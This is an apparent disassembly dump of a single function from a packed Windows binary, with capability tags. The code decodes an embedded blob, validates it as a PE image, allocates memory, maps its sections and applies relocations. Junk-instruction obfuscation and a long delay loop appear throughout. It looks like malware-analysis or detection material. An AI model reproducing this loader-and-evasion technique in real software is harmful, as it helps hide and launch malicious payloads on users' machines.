Function at 0x4023d2
Capabilities:
Create thread
Encode data using base64
Enumerate pe sections
Inspect section memory permissions
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
mov eax, 0x44bbc
call fcn.004081b0
sub esp, eax
fld dword [0x49cc9c]
fstp dword [ebp - 0x4c]
fld dword [0x49cca0]
fstp dword [ebp - 0x4c]
fld dword [0x49cca4]
fstp dword [ebp - 0x4c]
mov eax, 1
test al, al
je 0x40241a
fld dword [0x49cca8]
fstp dword [ebp - 0x4c]
fld dword [0x49ccac]
fstp dword [ebp - 0x4c]
fld dword [0x49ccb0]
fstp dword [ebp - 0x4c]
mov eax, 1
test al, al
je 0x40243e
fld dword [0x49ccb4]
fstp dword [ebp - 0x4c]
fld dword [0x49ccb8]
fstp dword [ebp - 0x4c]
fld dword [0x49ccbc]
fstp dword [ebp - 0x4c]
mov eax, 1
test al, al
je 0x402462
fld dword [0x49ccc0]
fstp dword [ebp - 0x4c]
fld dword [0x49ccc4]
fstp dword [ebp - 0x4c]
fld dword [0x49ccc8]
fstp dword [ebp - 0x4c]
mov eax, 1
test al, al
je 0x402486
fld dword [0x49cccc]
fstp dword [ebp - 0x4c]
fld dword [0x49ccd0]
fstp dword [ebp - 0x4c]
fld dword [0x49ccd4]
fstp dword [ebp - 0x4c]
mov eax, 1
test al, al
je 0x4024aa
fld dword [0x49ccd8]
fstp dword [ebp - 0x4c]
fld dword [0x49ccdc]
fstp dword [ebp - 0x4c]
fld dword [0x49cce0]
fstp dword [ebp - 0x50]
fld dword [0x49cce4]
fstp dword [ebp - 0x50]
fld dword [0x49cce8]
fstp dword [ebp - 0x50]
mov eax, 1
test al, al
je 0x4024e0
fld dword [0x49ccec]
fstp dword [ebp - 0x50]
fld dword [0x49ccf0]
fstp dword [ebp - 0x50]
fld dword [0x49ccf4]
fstp dword [ebp - 0x50]
mov eax, 1
test al, al
je 0x402504
fld dword [0x49ccf8]
fstp dword [ebp - 0x50]
fld dword [0x49ccfc]
fstp dword [ebp - 0x50]
fld dword [0x49cd00]
fstp dword [ebp - 0x50]
mov eax, 1
test al, al
je 0x402528
fld dword [0x49cd04]
fstp dword [ebp - 0x50]
fld dword [0x49cd08]
fstp dword [ebp - 0x50]
fld dword [0x49cd0c]
fstp dword [ebp - 0x50]
mov eax, 1
test al, al
je 0x40254c
fld dword [0x49cd10]
fstp dword [ebp - 0x50]
fld dword [0x49cd14]
fstp dword [ebp - 0x50]
fld dword [0x49cd18]
fstp dword [ebp - 0x50]
mov eax, 1
test al, al
je 0x402570
fld dword [0x49cd1c]
fstp dword [ebp - 0x50]
fld dword [0x49cd20]
fstp dword [ebp - 0x50]
fld dword [0x49cd24]
fstp dword [ebp - 0x54]
fld dword [0x49cd28]
fstp dword [ebp - 0x54]
fld dword [0x49cd2c]
fstp dword [ebp - 0x54]
mov eax, 1
test al, al
je 0x4025a6
fld dword [0x49cd30]
fstp dword [ebp - 0x54]
fld dword [0x49cd34]
fstp dword [ebp - 0x54]
fld dword [0x49cd38]
fstp dword [ebp - 0x54]
mov eax, 1
test al, al
je 0x4025ca
fld dword [0x49cd3c]
fstp dword [ebp - 0x54]
fld dword [0x49cd40]
fstp dword [ebp - 0x54]
fld dword [0x49cd44]
fstp dword [ebp - 0x54]
mov eax, 1
test al, al
je 0x4025ee
fld dword [0x49cd48]
fstp dword [ebp - 0x54]
fld dword [0x49cd4c]
fstp dword [ebp - 0x54]
fld dword [0x49cd50]
fstp dword [ebp - 0x54]
mov eax, 1
test al, al
je 0x402612
fld dword [0x49cd54]
fstp dword [ebp - 0x54]
fld dword [0x49cd58]
fstp dword [ebp - 0x54]
fld dword [0x49cd5c]
fstp dword [ebp - 0x54]
mov eax, 1
test al, al
je 0x402636
fld dword [0x49cd60]
fstp dword [ebp - 0x54]
fld dword [0x49cd64]
fstp dword [ebp - 0x54]
fld dword [0x49cd68]
fstp dword [ebp - 0x58]
fld dword [0x49cd6c]
fstp dword [ebp - 0x58]
fld dword [0x49cd70]
fstp dword [ebp - 0x58]
mov eax, 1
test al, al
je 0x40266c
fld dword [0x49cd74]
fstp dword [ebp - 0x58]
fld dword [0x49cd78]
fstp dword [ebp - 0x58]
fld dword [0x49cd7c]
fstp dword [ebp - 0x58]
mov eax, 1
test al, al
je 0x402690
fld dword [0x49cd80]
fstp dword [ebp - 0x58]
fld dword [0x49cd84]
fstp dword [ebp - 0x58]
fld dword [0x49cd88]
fstp dword [ebp - 0x58]
mov eax, 1
test al, al
je 0x4026b4
fld dword [0x49cd8c]
fstp dword [ebp - 0x58]
fld dword [0x49cd90]
fstp dword [ebp - 0x58]
fld dword [0x49cd94]
fstp dword [ebp - 0x58]
mov eax, 1
test al, al
je 0x4026d8
fld dword [0x49cd98]
fstp dword [ebp - 0x58]
fld dword [0x49cd9c]
fstp dword [ebp - 0x58]
fld dword [0x49cda0]
fstp dword [ebp - 0x58]
mov eax, 1
test al, al
je 0x4026fc
fld dword [0x49cda4]
fstp dword [ebp - 0x58]
fld dword [0x49cda8]
fstp dword [ebp - 0x58]
fld dword [0x49cdac]
fstp dword [ebp - 0x5c]
fld dword [0x49cdb0]
fstp dword [ebp - 0x5c]
fld dword [0x49cdb4]
fstp dword [ebp - 0x5c]
mov eax, 1
test al, al
je 0x402732
fld dword [0x49cdb8]
fstp dword [ebp - 0x5c]
fld dword [0x49cdbc]
fstp dword [ebp - 0x5c]
fld dword [0x49cdc0]
fstp dword [ebp - 0x5c]
mov eax, 1
test al, al
je 0x402756
fld dword [0x49cdc4]
fstp dword [ebp - 0x5c]
fld dword [0x49cdc8]
fstp dword [ebp - 0x5c]
fld dword [0x49cdcc]
fstp dword [ebp - 0x5c]
mov eax, 1
test al, al
je 0x40277a
fld dword [0x49cdd0]
fstp dword [ebp - 0x5c]
fld dword [0x49cdd4]
fstp dword [ebp - 0x5c]
fld dword [0x49cdd8]
fstp dword [ebp - 0x5c]
mov eax, 1
test al, al
je 0x40279e
fld dword [0x49cddc]
fstp dword [ebp - 0x5c]
fld dword [0x49cde0]
fstp dword [ebp - 0x5c]
fld dword [0x49cde4]
fstp dword [ebp - 0x5c]
mov eax, 1
test al, al
je 0x4027c2
fld dword [0x49cde8]
fstp dword [ebp - 0x5c]
fld dword [0x49cdec]
fstp dword [ebp - 0x5c]
fld dword [0x49cdf0]
fstp dword [ebp - 0x60]
fld dword [0x49cdf4]
fstp dword [ebp - 0x60]
fld dword [0x49cdf8]
fstp dword [ebp - 0x60]
mov eax, 1
test al, al
je 0x4027f8
fld dword [0x49cdfc]
fstp dword [ebp - 0x60]
fld dword [0x49ce00]
fstp dword [ebp - 0x60]
fld dword [0x49ce04]
fstp dword [ebp - 0x60]
mov eax, 1
test al, al
je 0x40281c
fld dword [0x49ce08]
fstp dword [ebp - 0x60]
fld dword [0x49ce0c]
fstp dword [ebp - 0x60]
fld dword [0x49ce10]
fstp dword [ebp - 0x60]
mov eax, 1
test al, al
je 0x402840
fld dword [0x49ce14]
fstp dword [ebp - 0x60]
fld dword [0x49ce18]
fstp dword [ebp - 0x60]
fld dword [0x49ce1c]
fstp dword [ebp - 0x60]
mov eax, 1
test al, al
je 0x402864
fld dword [0x49ce20]
fstp dword [ebp - 0x60]
fld dword [0x49ce24]
fstp dword [ebp - 0x60]
fld dword [0x49ce28]
fstp dword [ebp - 0x60]
mov eax, 1
test al, al
je 0x402888
fld dword [0x49ce2c]
fstp dword [ebp - 0x60]
fld dword [0x49ce30]
fstp dword [ebp - 0x60]
fld dword [0x49ce34]
fstp dword [ebp - 0x64]
fld dword [0x49ce38]
fstp dword [ebp - 0x64]
fld dword [0x49ce3c]
fstp dword [ebp - 0x64]
mov eax, 1
test al, al
je 0x4028be
fld dword [0x49ce40]
fstp dword [ebp - 0x64]
fld dword [0x49ce44]
fstp dword [ebp - 0x64]
fld dword [0x49ce48]
fstp dword [ebp - 0x64]
mov eax, 1
test al, al
je 0x4028e2
fld dword [0x49ce4c]
fstp dword [ebp - 0x64]
fld dword [0x49ce50]
fstp dword [ebp - 0x64]
fld dword [0x49ce54]
fstp dword [ebp - 0x64]
mov eax, 1
test al, al
je 0x402906
fld dword [0x49ce58]
fstp dword [ebp - 0x64]
fld dword [0x49ce5c]
fstp dword [ebp - 0x64]
fld dword [0x49ce60]
fstp dword [ebp - 0x64]
mov eax, 1
test al, al
je 0x40292a
fld dword [0x49ce64]
fstp dword [ebp - 0x64]
fld dword [0x49ce68]
fstp dword [ebp - 0x64]
fld dword [0x49ce6c]
fstp dword [ebp - 0x64]
mov eax, 1
test al, al
je 0x40294e
fld dword [0x49ce70]
fstp dword [ebp - 0x64]
fld dword [0x49ce74]
fstp dword [ebp - 0x64]
fld dword [0x49ce78]
fstp dword [ebp - 0x68]
fld dword [0x49ce7c]
fstp dword [ebp - 0x68]
fld dword [0x49ce80]
fstp dword [ebp - 0x68]
mov eax, 1
test al, al
je 0x402984
fld dword [0x49ce84]
fstp dword [ebp - 0x68]
fld dword [0x49ce88]
fstp dword [ebp - 0x68]
fld dword [0x49ce8c]
fstp dword [ebp - 0x68]
mov eax, 1
test al, al
je 0x4029a8
fld dword [0x49ce90]
fstp dword [ebp - 0x68]
fld dword [0x49ce94]
fstp dword [ebp - 0x68]
fld dword [0x49ce98]
fstp dword [ebp - 0x68]
mov eax, 1
test al, al
je 0x4029cc
fld dword [0x49ce9c]
fstp dword [ebp - 0x68]
fld dword [0x49cea0]
fstp dword [ebp - 0x68]
fld dword [0x49cea4]
fstp dword [ebp - 0x68]
mov eax, 1
test al, al
je 0x4029f0
fld dword [0x49cea8]
fstp dword [ebp - 0x68]
fld dword [0x49ceac]
fstp dword [ebp - 0x68]
fld dword [0x49ceb0]
fstp dword [ebp - 0x68]
mov eax, 1
test al, al
je 0x402a14
fld dword [0x49ceb4]
fstp dword [ebp - 0x68]
fld dword [0x49ceb8]
fstp dword [ebp - 0x68]
sub esi, 0x27
imul eax
dec ebx
imul edi
ror edi, 0x60
not edi
bswap edi
rcl edi, 0xd8
rcr edi, 0x95
not edi
rcl edx, 0xe7
imul ebx
and ebx, 0x4d
ror eax, 0x6f
or eax, 0x98
ror edi, 0x1b
imul esi
imul ebx
mov esi, 0xa3
neg esi
sbb edx, 0xd4
and esi, 0xe
dec eax
mov edx, 0x35
neg eax
mov eax, 0xef
rcr esi, 0xa9
rcr ebx, 0x5a
mov edx, 0xa2
and ebx, 0x37
bswap edi
neg ebx
not ebx
dec esi
bswap ebx
neg ebx
ror esi, 0x2a
neg edx
bswap edi
mov edx, 0xdc
rol edi, 0xc9
neg edx
rol esi, 0xcd
mov esi, 0x56
imul edx
rcl edi, 0x41
or edi, 0x71
dec edi
sbb edi, 0xf6
imul edx
bswap edi
mov esi, 0x21
not eax
rcl edx, 0xb1
imul ebx
sub edx, 0xc4
bswap esi
rcr edi, 0x90
rcr edi, 0xec
sbb esi, 0xd9
not edx
mov edx, 0x8e
inc esi
sub ebx, 0x44
sub eax, 0x65
dec edi
sub edi, 0x6f
imul esi
mov edx, 0x75
or eax, 0x49
inc edi
add ebx, 0x1c
or eax, 0x88
sub esi, 0x2b
rcl eax, 0x83
dec edi
not esi
imul ebx
bswap edx
inc eax
sbb edi, 0x6f
or eax, 0x87
rcl edx, 0xe9
neg edx
neg edi
rol esi, 0x9d
rcl edx, 0xcd
sub edi, 0xc0
bswap esi
inc edi
and eax, 0x54
and esi, 0xf6
not eax
imul edx
add ebx, 0x8c
rcl ebx, 0xdb
dec edi
dec ebx
imul esi
or edx, 0xb2
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x20], 0
rcl edi, 0x31
not edi
rcr ebx, 0x48
inc esi
add eax, 0x37
bswap ebx
and edi, 0x12
not edx
not eax
ror esi, 0x57
or eax, 0xa9
rcr esi, 0xf
bswap edx
rcr ebx, 0x2c
mov ebx, 0xd5
inc edx
imul edi
not edi
mov eax, 0x88
or esi, 0x8a
neg edi
not esi
or edx, 0xb2
ror ebx, 0x5b
or edi, 0x35
neg edi
mov eax, 0x11
sub eax, 0xa8
and eax, 0xcf
sbb edx, 0xc8
and ebx, 0x55
imul edi
bswap ebx
sub edx, 0x24
inc esi
inc edi
rcr eax, 0x76
inc edx
bswap ebx
sub eax, 0xba
rcr ebx, 0xf6
rcr ebx, 0xc8
sub ebx, 0x7e
sbb eax, 0xa7
dec ebx
imul ebx
and esi, 0x96
rcr eax, 0xea
ror edi, 0xcc
sbb ebx, 0x19
inc eax
dec edx
bswap edx
not edx
not ebx
dec edi
not esi
sbb ebx, 0x5d
sbb edx, 0xed
add eax, 0xea
rcr ebx, 0xb6
sub edi, 0xd9
dec ebx
inc edx
not edi
neg ebx
ror eax, 0x81
ror eax, 0x1e
rol eax, 5
dec eax
not eax
ror eax, 0xc7
ror esi, 0x58
inc eax
neg esi
and edi, 0x4d
add esi, 0x29
dec eax
bswap ebx
inc eax
neg edx
rcr ebx, 0x4b
imul eax
inc edi
sbb edx, 0xcd
dec esi
add ebx, 0xa
rcl ebx, 0x2d
dec edi
imul edi
ror eax, 0x4d
and ebx, 0x8c
inc edi
rcl ebx, 0x89
rcr edx, 0x8e
add eax, 0x97
bswap edx
bswap ebx
or esi, 0x72
dec edi
neg esi
inc eax
add edi, 0x14
ror eax, 0x84
bswap eax
bswap eax
mov edi, 0x8f
dec esi
neg eax
sub edi, 0x95
imul eax
dec ebx
not edx
bswap eax
add esi, 0xe0
mov esi, 0x58
dec ebx
not esi
inc eax
add eax, 0x90
or eax, 6
or esi, 2
rol ebx, 0xea
inc edx
rcl esi, 0xc2
dec edi
inc edx
not eax
rol edi, 0x5d
sbb esi, 0xd1
add eax, 0xa2
add eax, 0xcd
inc ebx
dec ebx
sub edi, 0xd9
sbb esi, 0xc
dec edx
rcl esi, 0xb2
and ebx, 0xf
and edx, 0x67
imul edx
mov edx, 0xe6
imul edi
mov edx, 0x40
sbb edi, 0x9f
neg esi
inc esi
neg ebx
not ebx
add eax, 0xc1
mov dword [ebp - 0x20], 0
jmp 0x402cf7
add dword [ebp - 0x1c], 1
add dword [ebp - 0x20], 1
cmp dword [ebp - 0x20], 0x5f740a4
jle 0x402cef
cmp dword [ebp - 0x1c], 0x5f740a5
jne 0x404649
lea eax, [ebp - 0x44ae0]
mov edx, str.e_r_INRESRWERPORXEJWOPBOH
mov ecx, 0x44a00
mov dword [esp + 8], ecx
mov dword [esp + 4], edx
mov dword [esp], eax
call sym._memcpy
mov dword [esp + 4], 0x44a00
lea eax, [ebp - 0x44ae0]
mov dword [esp], eax
call sym.xjrqowjcrpoqwjrvkjqwkrzoqwbrbqiwv_char__int_
lea eax, [ebp - 0x44ae0]
mov dword [ebp + 8], eax
add esi, 0xb4
ror edi, 0x9b
mov edi, 0xfa
or edx, 0x44
sbb edx, 0x29
or edi, 0xf
dec edx
rol eax, 0x13
inc esi
inc edi
rol ebx, 0xc6
sub esi, 6
not edx
inc eax
rcr eax, 0x3f
rcr esi, 0xc6
rcr ebx, 0x51
imul eax
rol edi, 0x4d
ror edi, 0x7f
bswap ebx
dec ebx
dec edx
add ebx, 0x92
inc esi
sbb edi, 0x18
and ebx, 0xc0
rcr edi, 0xde
bswap edx
mov edi, 0x95
not esi
rcl ebx, 0x94
dec ebx
and eax, 0x40
neg ebx
and esi, 0xcd
not esi
rcr ebx, 0x74
bswap ebx
imul edx
imul esi
or ebx, 0xbd
imul esi
not edi
dec edx
sbb eax, 0xce
not ebx
rcl esi, 0x53
rcl edi, 0xd6
rcl ebx, 5
sub edx, 0xa1
rcl edx, 0x68
bswap eax
ror eax, 0x9b
sbb esi, 0x39
rcr ebx, 0x60
dec edx
imul esi
rcl edx, 0x5f
sbb esi, 0x28
mov eax, pe_nt_image_headers32
sbb eax, 0xf7
bswap ebx
inc esi
rol edi, 0xf3
or esi, 0xad
add edx, 0xf2
not edx
not edx
sub edx, 0xda
add edx, 0x54
sub esi, 0xac
not esi
sbb ebx, 0x7b
and edx, 0xc4
neg esi
bswap esi
bswap ebx
rcr esi, 0x3d
neg edx
sbb esi, 0x90
dec ebx
or esi, 0xba
neg edi
mov edx, 0x6c
mov esi, 0x35
mov eax, 0xf2
and esi, 0xf9
not edx
rol eax, 0xd0
and edx, 0x9a
imul ebx
bswap esi
sbb edx, 0x74
neg edi
inc eax
or edx, 0x3e
inc edx
dec esi
not edx
mov eax, dword [ebp + 8]
mov dword [ebp - 0x6c], eax
mov eax, dword [ebp - 0x6c]
mov eax, dword [eax + 0x3c]
mov edx, eax
mov eax, dword [ebp + 8]
add eax, edx
mov dword [ebp - 0x70], eax
bswap edi
or edx, 0xf0
rcl eax, 0xd4
sub edi, 0xa6
neg edx
rcr ebx, 0x5a
ror esi, 0xb7
mov esi, 0x47
sbb edi, 0xc9
and edx, 0x3f
rcl eax, 0xcf
imul esi
imul ebx
neg ebx
bswap eax
dec edi
ror edi, 0xf0
rcr eax, 0x75
add edi, 0xac
rcr edi, 0x26
inc edi
inc edx
neg edx
sbb esi, 0x3b
add edx, 0x1f
sub edi, 0xcf
rcr edi, 0x99
dec esi
not esi
bswap eax
sub esi, 0x13
neg ebx
not ebx
not ebx
inc esi
add ebx, 8
bswap edi
rcl esi, 0x5f
dec eax
neg esi
neg edx
imul ebx
mov edi, 0x28
not ebx
rol esi, 0x57
inc esi
rcr edi, 0x1e
imul edx
bswap edi
sbb edx, 0xed
mov eax, dword [ebp - 0x70]
mov eax, dword [eax]
cmp eax, 0x4550
je 0x402f31
mov eax, 1
jmp 0x40464e
mov dword [ebp - 0xcc], 0
mov dword [ebp - 0xc8], 0
mov dword [ebp - 0xc4], 0
mov dword [ebp - 0xc0], 0
lea edx, [ebp - 0x44b9c]
mov eax, 0
mov ecx, 0x11
mov edi, edx
rep stosd dword es:[edi], eax
rcl edi, 9
rol ebx, 0xdc
imul esi
imul edi
sbb edx, 0x43
neg esi
bswap esi
bswap edi
dec esi
bswap eax
rcr eax, 0xf0
rcl esi, 0xa1
sbb eax, 0x3f
not esi
dec ebx
and eax, 9
imul eax
rol esi, 0xae
inc esi
and eax, 0x8e
mov esi, 0x7a
or esi, 0x70
ror ebx, 0xd9
sub eax, 0xec
not eax
imul edx
mov edx, 0xe8
neg eax
rol ebx, 0x6a
sbb ebx, 5
and edi, 0xc0
dec edx
and edi, 0xfd
rcr esi, 0xc0
rcr eax, 0x89
and edi, 0x5d
add eax, 0xb3
rcl edi, 0xe7
dec edi
neg eax
inc ebx
or edx, 0xbc
dec edi
ror eax, 0x96
or ebx, 0x6b
imul esi
sub edi, 0xbc
dec eax
neg esi
not eax
mov dword [ebp - 0x44b9c], 0x44
mov eax, dword [ebp - 0x70]
mov edx, dword [eax + 0xa4]
mov eax, dword [eax + 0xa0]
mov dword [ebp - 0xd4], eax
mov dword [ebp - 0xd0], edx
mov eax, dword [ebp - 0x70]
mov eax, dword [eax + 0x50]
mov edx, dword [ebp - 0xd0]
test edx, edx
jne 0x403037
mov edx, dword [ebp - 0x70]
mov edx, dword [edx + 0x34]
jmp 0x40303c
mov edx, 0
mov dword [esp + 0xc], 4
mov dword [esp + 8], 0x3000
mov dword [esp + 4], eax
mov dword [esp], edx
mov eax, dword [sym.imp.KERNEL32.dll_VirtualAlloc]
call eax
sub esp, 0x10
mov dword [ebp - 0x74], eax
mov eax, dword [ebp - 0xd0]
test eax, eax
jne 0x40307f
mov eax, dword [ebp - 0x70]
mov eax, dword [eax + 0x34]
cmp dword [ebp - 0x74], eax
je 0x40307f
mov eax, 2
jmp 0x40464e
rol edi, 0xc1
not esi
mov edi, 0xaa
bswap edx
neg ebx
imul esi
rol eax, 0x9b
rcl esi, 0x18
sub esi, 0xa7
imul eax
ror esi, 0xa5
neg edi
or esi, 0xaf
inc edi
not ebx
sbb eax, 0xbf
imul ebx
sbb edi, 0xb7
sub ebx, 0xd0
bswap eax
dec ebx
mov eax, 0xeb
sub eax, 0xbe
neg edx
dec edx
inc ebx
dec eax
neg ebx
rcr edi, 0xaa
or edx, 0xd2
rcr esi, 0xc
sbb eax, 0x60
bswap ebx
imul edx
neg esi
inc ebx
and edi, 0x60
not esi
rcl eax, 0x67
mov edx, 0x5d
imul eax
add eax, 0x98
bswap esi
mov eax, 0xe1
add esi, 0x4f
sub edi, 0x2d
not eax
sbb esi, 0xd5
sbb ebx, 0x78
dec ebx
inc esi
sbb ebx, 0x74
or esi, 0xc4
bswap eax
mov esi, 0xe1
not edi
mov edx, 0x4b
sbb ebx, 0x1b
not esi
ror eax, 0x41
not esi
imul eax
add eax, 0x80
not edx
sbb esi, 0x98
rcl esi, 0x45
dec edx
inc edi
sbb esi, 0x93
inc edx
inc eax
rcl esi, 0xed
mov edi, 0x3c
ror esi, 0x7f
ror edx, 0x59
rcl esi, 0xee
sbb esi, 0x37
and eax, 0xd9
rcl ebx, 0x6e
rcl eax, 0xc1
mov edx, 0x96
rcr edx, 0x50
dec esi
or edx, 0x31
not edi
bswap ebx
imul esi
sbb edx, 0x83
inc edi
inc edi
dec edx
not esi
ror ebx, 0xd0
inc eax
inc esi
inc edi
not edx
sub eax, 0xec
and eax, 0xfb
inc eax
not edx
ror ebx, 0x32
imul ebx
sbb edi, 0x78
inc esi
dec esi
inc eax
or edx, 0x64
and eax, 0x56
mov edx, 0x66
sbb esi, 0xfb
or esi, 0xb1
rol edi, 0xbc
neg esi
and esi, 0x5a
inc esi
imul edx
rcl ebx, 0x53
ror ebx, 0x8f
and ebx, 0xdb
sbb esi, 0xbd
or edx, 0x79
neg esi
rcr esi, 0xce
inc edi
rol eax, 0x82
or ebx, 0x2b
add edi, 0x3e
or eax, 0x14
neg edi
and edx, 0xa8
imul esi
not edx
imul edx
dec ebx
add eax, 0xd9
add eax, 0x51
rcl ebx, 0x18
bswap eax
bswap edi
rcr edx, 0xed
dec esi
or esi, 0x20
dec eax
inc eax
inc edi
not ebx
dec edx
add eax, 0xae
not esi
mov eax, dword [ebp - 0x74]
mov dword [esp + 8], 0x400
mov edx, dword [ebp + 8]
mov dword [esp + 4], edx
mov dword [esp], eax
call sym._memcpy
imul esi
sbb esi, 0x56
sbb ebx, 0x8a
or edi, 0xee
bswap eax
imul eax
rcr esi, 0x3e
not esi
add eax, 0x1c
inc edi
imul edx
inc edi
inc edx
rcr eax, 0x66
mov edx, 0xda
sub esi, 0x73
dec ebx
rol esi, 0xe6
rcl edi, 0xc6
imul edx
imul edx
dec eax
add eax, 0xc0
and edi, 0x3a
not edi
and edx, 0xef
sub eax, 0xd6
bswap esi
dec eax
dec edx
and edx, 0x5a
dec edi
mov esi, 0xd3
ror edi, 0x43
rcr edx, 0x44
sub eax, 0xcf
rcl edi, 0x12
rcl edx, 0x95
dec edi
ror edx, 0x61
sub edx, 0x21
neg edx
inc ebx
sbb edi, 0x1f
sub eax, 0xe8
mov ebx, 0xb0
and esi, 0x4f
rcl esi, 0xe9
imul eax
and edx, 0x77
neg edx
bswap edx
mov ebx, 0x69
imul edx
neg eax
sub ebx, 0x9d
ror edx, 0x72
inc edi
bswap edi
ror edi, 0xdc
and edi, 0xd7
mov esi, 0x5e
imul edi
rol ebx, 0x4d
add edi, 0x7d
rcr eax, 0x7f
rol edi, 0x82
rcr edi, 0xb6
imul esi
imul ebx
dec esi
not edx
dec edx
rol edi, 0xca
neg eax
rcl edx, 0xb
imul edx
imul edi
or esi, 0x55
bswap edi
dec edi
bswap eax
not esi
inc eax
ror edi, 0xec
rcl ebx, 0x42
rcr ebx, 0x8f
dec ebx
imul esi
bswap esi
neg edi
rol eax, 0x61
not eax
neg ebx
imul eax
dec esi
rcl ebx, 0xc9
bswap edx
sub edx, 0x69
sub eax, 0xe3
bswap ebx
inc esi
rcr edx, 0xd4
not edi
imul edx
sub eax, 3
rol eax, 0x8c
imul eax
neg esi
add ebx, 0x85
add edx, 0x4f
imul eax
ror edx, 0xcf
rcr eax, 0x2d
ror eax, 0x14
sbb edx, 0x4c
ror eax, 0x41
mov edi, 0x3e
rcl edi, 0xcc
not ebx
ror esi, 0xbe
rcr edx, 1
dec ebx
rcl esi, 0xd3
dec edi
rcl esi, 0x56
not ebx
not edx
neg esi
add ebx, 0x23
add edx, 0xcf
imul eax
dec esi
ror esi, 0x7e
sbb eax, 0xde
inc edx
not edx
add eax, 0x3e
add edi, 0x6b
rcr eax, 0xa2
inc edx
dec eax
mov ebx, 0x5d
not edi
ror eax, 0xc1
ror esi, 0x93
ror ebx, 0xeb
sub ebx, 0x15
sub edi, 0xb
rcr edx, 0x77
mov eax, dword [ebp - 0x70]
movzx eax, word [eax + 0x14]
movzx edx, ax
mov eax, dword [ebp - 0x70]
add eax, edx
add eax, 0x18
mov dword [ebp - 0x78], eax
mov dword [ebp - 0x24], 0
jmp 0x403459
mov edx, dword [ebp - 0x24]
mov eax, edx
shl eax, 2
add eax, edx
shl eax, 3
mov edx, eax
mov eax, dword [ebp - 0x78]
add eax, edx
mov ecx, dword [eax + 0x10]
mov edx, dword [ebp - 0x24]
mov eax, edx
shl eax, 2
add eax, edx
shl eax, 3
mov edx, eax
mov eax, dword [ebp - 0x78]
add eax, edx
mov edx, dword [eax + 0x14]
mov eax, dword [ebp + 8]
add eax, edx
mov ebx, eax
mov edx, dword [ebp - 0x24]
mov eax, edx
shl eax, 2
add eax, edx
shl eax, 3
mov edx, eax
mov eax, dword [ebp - 0x78]
add eax, edx
mov edx, dword [eax + 0xc]
mov eax, dword [ebp - 0x74]
add eax, edx
mov dword [esp + 8], ecx
mov dword [esp + 4], ebx
mov dword [esp], eax
call sym._memcpy
add dword [ebp - 0x24], 1
mov eax, dword [ebp - 0x70]
movzx eax, word [eax + 6]
movzx eax, ax
cmp dword [ebp - 0x24], eax
jl 0x4033f4
not ebx
or edi, 0x47
neg edx
dec ebx
imul eax
ror edi, 0x25
bswap esi
mov esi, 0xa6
ror ebx, 0x39
rcl esi, 0xcb
rcr eax, 0xb3
sub ebx, 0xa1
imul edx
mov edi, 0x47
rcr ebx, 0x81
add ebx, 0x56
dec esi
neg esi
rcr ebx, 0x6c
mov edi, 0x8d
bswap ebx
rol eax, 0x5a
dec esi
inc esi
sub edi, 0xa2
rcl edx, 0x5d
inc ebx
imul esi
dec esi
rol edi, 0x1e
bswap eax
rcl esi, 0xc0
inc edi
add esi, 0x5e
neg ebx
inc eax
inc esi
imul edx
not eax
rcl ebx, 0x2c
ror ebx, 0x62
not edi
mov eax, 0xcc
add edi, 0x7e
dec ebx
add ebx, 0x49
ror edx, 0x25
ror edi, 0xc4
imul eax
neg ebx
neg eax
rcr ebx, 0x91
sbb ebx, 6
mov edx, 0x6a
mov eax, 6
sbb ebx, 0x4a
dec eax
inc edx
sub edi, 0xfb
add edx, 0x10
not eax
bswap edx
or esi, 0xee
rcl edx, 0x99
rcr eax, 0xda
sbb esi, 0x95
bswap esi
dec eax
inc esi
or edi, 0xe5
sbb ebx, 0x52
or edx, 0x32
ror edi, 0x8e
not edx
mov edi, 0x50
and edi, 0xfa
not edx
dec eax
and edx, 0x3c
rcr esi, 0xdf
rcr edx, 0x56
bswap edi
sub esi, 0xa5
imul eax
bswap ebx
inc ebx
or eax, 0xf4
or eax, 0xfa
imul edx
not esi
imul edx
imul edi
bswap edi
rcl edi, 0x98
rcl edx, 3
rol edi, 0x55
dec edi
inc edi
ror edx, 0xf6
not edx
mov eax, dword [ebp - 0x70]
mov eax, dword [eax + 0x34]
cmp dword [ebp - 0x74], eax
je 0x403664
mov eax, dword [ebp - 0x70]
mov eax, dword [eax + 0x34]
mov edx, dword [ebp - 0x74]
sub edx, eax
mov dword [ebp - 0x7c], edx
mov edx, dword [ebp - 0xd4]
mov eax, dword [ebp - 0x74]
add eax, edx
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x2c], 0
jmp 0x403653
mov eax, dword [ebp - 0x28]
mov edx, dword [eax]
mov eax, dword [ebp - 0x74]
add eax, edx
mov dword [ebp - 0x80], eax
mov eax, dword [ebp - 0x28]
mov eax, dword [eax + 4]
sub eax, 8
shr eax, 1
mov dword [ebp - 0x84], eax
mov eax, dword [ebp - 0x28]
add eax, 8
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x34], 0
jmp 0x403634
mov eax, dword [ebp - 0x30]
movzx eax, word [eax]
shr ax, 0xc
movzx eax, ax
and eax, 3
test eax, eax
je 0x40362c
mov eax, dword [ebp - 0x30]
movzx eax, word [eax]
movzx eax, ax
and eax, 0xfff
mov edx, eax
mov eax, dword [ebp - 0x80]
add eax, edx
mov edx, dword [eax]
mov eax, dword [ebp - 0x30]
movzx eax, word [eax]
movzx eax, ax
and eax, 0xfff
mov ecx, eax
mov eax, dword [ebp - 0x80]
add eax, ecx
mov ecx, eax
mov eax, dword [ebp - 0x7c]
add eax, edx
mov dword [ecx], eax
add dword [ebp - 0x30], 2
add dword [ebp - 0x34], 1
mov eax, dword [ebp - 0x34]
cmp eax, dword [ebp - 0x84]
jl 0x4035e3
mov eax, dword [ebp - 0x28]
mov edx, dword [eax + 4]
mov eax, dword [ebp - 0x2c]
add eax, edx
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0xd0]
mov edx, dword [ebp - 0x2c]
cmp edx, eax
jb 0x4035b3
imul esi
or eax, 0x49
bswap ebx
dec edi
rcr ebx, 0x1f
not edi
and esi, 0xff
mov eax, 0x6c
rcl esi, 0x6e
imul esi
inc eax
rcl edx, 0xf8
rcr eax, 0x8b
neg edi
bswap ebx
mov ebx, 0x69
dec edx
rcr ebx, 0xd1
inc eax
or eax, 0xa0
and ebx, 0xe7
not ebx
imul esi
imul edx
not ebx
rcr ebx, 0x14
rcr esi, 0xb3
and edx, 0xc3
rcr edi, 0x96
dec ebx
rol edx, 0xf4
bswap edi
